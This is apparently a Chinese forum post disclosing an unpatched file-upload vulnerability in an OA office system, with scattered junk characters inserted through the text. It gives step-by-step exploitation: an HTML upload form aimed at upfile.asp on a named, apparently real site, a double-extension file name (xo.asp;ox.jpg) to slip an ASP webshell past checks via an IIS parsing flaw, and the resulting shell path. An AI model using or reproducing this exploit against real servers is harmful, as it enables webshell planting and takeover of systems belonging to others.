全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
​
4 i/ C3 j2 C" i: G- {; o1 s+ l系统介绍：
1 n6 j1 S& _: _. f5 g
+ Y  p& Z9 A1 y( n% O( N全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。
6 O. ?, l& b1 ~7 A% A, d" H  G9 _& }
主要功能：
) d% W% J3 T* b) E4 S, t' B1 B2 u9 m公司通告
) m4 k# e' A: I* h& y工作计划
通讯助理
客户资源
6 ]8 x1 U; e2 l( [  W) Q我的公文
. y# t4 Y# I8 z" E5 s2 m公文传阅
公共资源
资源预约
今日考勤
个人计划
3 M9 K7 A; q1 J' w& U个人通讯录
个人基本档案
. y" N3 M2 z+ N  [未读邮件
0 }; f( z1 L7 u* H; j- j2 N发邮件
' l* u# l* d- \- G3 i2 a收件夹
寄件夹
网络硬盘
网络会议
网络调查
交流论坛

有兴趣测试的朋友可以下源码看看
) H$ b* r) V& y& K4 E$ `7 _
+ b" A4 e0 ?  B2 z+ o/ t1 l- ]$ W源码下载：
/ Q2 B$ m$ }* r. ^% Z$ u
http://www.mycodes.net/30/4750.htm

漏洞介绍：
; @4 f  g) A7 ]+ D, F9 V
. s' C! E) `6 w6 t9 R由upfile.asp上传文件漏洞引起
; K( E/ ^. d0 d3 `0 C6 Q
$ V7 F" y7 v: ^& a  n测试方法：
: ?% @. w6 P' `. X* k& S$ R
5 T, d1 F; ]  c* p1 j使用名小子上传http://www.itlynn.com/upfile.asp即可
8 L) [8 |2 A9 A! E0 ]& j/ J9 a! M
如果upfile.asp文件被删除不存在。
4 A5 d7 @, e! k, [
  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。

如果存在那么将如下代码保存为upfile.html。
5 w6 Z, D$ y! A+ l* K
$ J" M6 r$ f! {8 K然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。



01 <table border='0' align="center" cellpadding="5">

02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">

03 <tr>

04             <td>报错：</td>

05             <td><input type='radio' name='errnumber' value='0'>
5 t. }' G! W9 V& K
06               自动更名

07               <input type='radio' name='errnumber' value='1' checked>

08               报错方式
7 Q6 N# i$ q2 {* F1 T. N
09               <input type='radio' name='errnumber' value='2'>

10               直接覆盖</td>
$ b* _+ p$ S: y! I& X
8 {% O8 v. h+ W2 k6 R" }11           </tr>
; }. D1 n" e' S2 e4 P
12           <tr>

: K& D- X: m) G. {; }13             <td>主题：</td>
" ^0 x* B" F) g6 C% P
14             <td><input type='text' name='filename' size='30'></td>

15           </tr>
  S% {7 W. s  Z! H
/ D9 a1 e. A+ A16           <tr>

: c! Y  g3 M! P' |17             <td>文件：</td>
% _% G, `9 c; R# |
18             <td><input type="file"name="fruit"size="30"></td>

1 @8 D+ e4 }: X  V/ b19           </tr>
8 }9 Y  N0 V: w( [4 K3 x
0 ~/ z4 i( N  ^0 x20           <tr>
2 f+ M; F  k" M$ J
21             <td valign='top'>简介：</td>

22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>
* W# e6 _. S0 [% J! l
23           </tr>
$ d$ h* p0 |6 b7 m
' S. R6 f4 X$ F24   
- J( W6 ?5 W% P% ^; n: j# h( f* h
25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>
( j: x  r0 E* e2 U
# h! N" x0 A8 }26           </tr>
1 f; B0 `7 d) o, @7 O" B2 A7 o+ o! R
* a7 v( q/ \, S: L+ d27         </form>

然后打开上传一个文件名为xo.asp;ox.jpg的文件。
  B: C; V( a0 a# Y
/ s( m" w" A9 X6 B0 f2 m0 w

+ H& E( H) U; ^( t% X+ \5 M* O上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg

/ ~- `! T6 O' p7 ^& P此漏洞需要配合解析漏洞利用。
+ y. U" Q* n9 y1 w2 ^! ^2 a